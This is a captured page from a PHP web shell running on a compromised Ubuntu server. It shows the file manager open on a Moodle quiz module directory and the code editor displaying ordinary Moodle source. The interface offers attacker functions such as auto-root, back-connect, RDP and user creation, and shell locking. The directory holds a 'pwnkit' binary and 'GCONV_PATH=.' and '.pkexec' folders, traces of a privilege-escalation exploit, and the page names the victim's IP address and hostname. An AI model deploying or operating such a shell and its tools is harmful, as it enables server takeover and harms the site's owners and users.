Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
quiz /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
accessrule
[ DIR ]
drwxrwxrwx
amd
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accessmanager.php
19.94
KB
-rwxrwxrwx
accessmanager_form.php
2.38
KB
-rwxrwxrwx
addrandom.php
4.93
KB
-rwxrwxrwx
addrandomform.php
5.66
KB
-rwxrwxrwx
attempt.php
5.02
KB
-rwxrwxrwx
attemptlib.php
105.36
KB
-rwxrwxrwx
autosave.ajax.php
2.2
KB
-rwxrwxrwx
comment.php
5.06
KB
-rwxrwxrwx
cronlib.php
4.73
KB
-rwxrwxrwx
edit.php
7.94
KB
-rwxrwxrwx
edit_rest.php
9.22
KB
-rwxrwxrwx
editrandom.php
6.11
KB
-rwxrwxrwx
grade.php
3.52
KB
-rwxrwxrwx
index.php
5.88
KB
-rwxrwxrwx
lib.php
87.54
KB
-rwxrwxrwx
locallib.php
97.43
KB
-rwxrwxrwx
mod_form.php
29.07
KB
-rwxrwxrwx
module.js
9.57
KB
-rwxrwxrwx
override_form.php
10.76
KB
-rwxrwxrwx
overridedelete.php
3.61
KB
-rwxrwxrwx
overrideedit.php
7.69
KB
-rwxrwxrwx
overrides.php
10.7
KB
-rwxrwxrwx
processattempt.php
3.51
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
54.1
KB
-rwxrwxrwx
repaginate.php
1.94
KB
-rwxrwxrwx
report.php
3.5
KB
-rwxrwxrwx
review.php
9.31
KB
-rwxrwxrwx
reviewquestion.php
4.31
KB
-rwxrwxrwx
settings.php
12.49
KB
-rwxrwxrwx
startattempt.php
4.33
KB
-rwxrwxrwx
styles.css
26.33
KB
-rwxrwxrwx
summary.php
3.44
KB
-rwxrwxrwx
upgrade.txt
8.83
KB
-rwxrwxrwx
version.php
1.02
KB
-rwxrwxrwx
view.php
9.51
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : addrandom.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Fallback page of /mod/quiz/edit.php add random question dialog, * for users who do not use javascript. * * @package mod_quiz * @copyright 2008 Olli Savolainen * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(__DIR__ . '/../../config.php'); require_once($CFG->dirroot . '/mod/quiz/locallib.php'); require_once($CFG->dirroot . '/mod/quiz/addrandomform.php'); require_once($CFG->dirroot . '/question/editlib.php'); require_once($CFG->dirroot . '/question/category_class.php'); list($thispageurl, $contexts, $cmid, $cm, $quiz, $pagevars) = question_edit_setup('editq', '/mod/quiz/addrandom.php', true); // These params are only passed from page request to request while we stay on // this page otherwise they would go in question_edit_setup. $returnurl = optional_param('returnurl', '', PARAM_LOCALURL); $addonpage = optional_param('addonpage', 0, PARAM_INT); $category = optional_param('category', 0, PARAM_INT); $scrollpos = optional_param('scrollpos', 0, PARAM_INT); // Get the course object and related bits. if (!$course = $DB->get_record('course', array('id' => $quiz->course))) { print_error('invalidcourseid'); } // You need mod/quiz:manage in addition to question capabilities to access this page. // You also need the moodle/question:useall capability somewhere. require_capability('mod/quiz:manage', $contexts->lowest()); if (!$contexts->having_cap('moodle/question:useall')) { print_error('nopermissions', '', '', 'use'); } $PAGE->set_url($thispageurl); if ($returnurl) { $returnurl = new moodle_url($returnurl); } else { $returnurl = new moodle_url('/mod/quiz/edit.php', array('cmid' => $cmid)); } if ($scrollpos) { $returnurl->param('scrollpos', $scrollpos); } $defaultcategoryobj = question_make_default_categories($contexts->all()); $defaultcategory = $defaultcategoryobj->id . ',' . $defaultcategoryobj->contextid; $qcobject = new question_category_object( $pagevars['cpage'], $thispageurl, $contexts->having_one_edit_tab_cap('categories'), $defaultcategoryobj->id, $defaultcategory, null, $contexts->having_cap('moodle/question:add')); $mform = new quiz_add_random_form(new moodle_url('/mod/quiz/addrandom.php'), array('contexts' => $contexts, 'cat' => $pagevars['cat'])); if ($mform->is_cancelled()) { redirect($returnurl); } if ($data = $mform->get_data()) { if (!empty($data->existingcategory)) { list($categoryid) = explode(',', $data->category); $includesubcategories = !empty($data->includesubcategories); if (!$includesubcategories) { // If the chosen category is a top category. $includesubcategories = $DB->record_exists('question_categories', ['id' => $categoryid, 'parent' => 0]); } $returnurl->param('cat', $data->category); } else if (!empty($data->newcategory)) { list($parentid, $contextid) = explode(',', $data->parent); $categoryid = $qcobject->add_category($data->parent, $data->name, '', true); $includesubcategories = 0; $returnurl->param('cat', $categoryid . ',' . $contextid); } else { throw new coding_exception( 'It seems a form was submitted without any button being pressed???'); } if (empty($data->fromtags)) { $data->fromtags = []; } $tagids = array_map(function($tagstrings) { return (int)explode(',', $tagstrings)[0]; }, $data->fromtags); quiz_add_random_questions($quiz, $addonpage, $categoryid, $data->numbertoadd, $includesubcategories, $tagids); quiz_delete_previews($quiz); quiz_update_sumgrades($quiz); redirect($returnurl); } $mform->set_data(array( 'addonpage' => $addonpage, 'returnurl' => $returnurl, 'cmid' => $cm->id, 'category' => $category, )); // Setup $PAGE. $streditingquiz = get_string('editinga', 'moodle', get_string('modulename', 'quiz')); $PAGE->navbar->add($streditingquiz); $PAGE->set_title($streditingquiz); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); if (!$quizname = $DB->get_field($cm->modname, 'name', array('id' => $cm->instance))) { print_error('invalidcoursemodule'); } echo $OUTPUT->heading(get_string('addrandomquestiontoquiz', 'quiz', $quizname), 2); $mform->display(); echo $OUTPUT->footer();
Close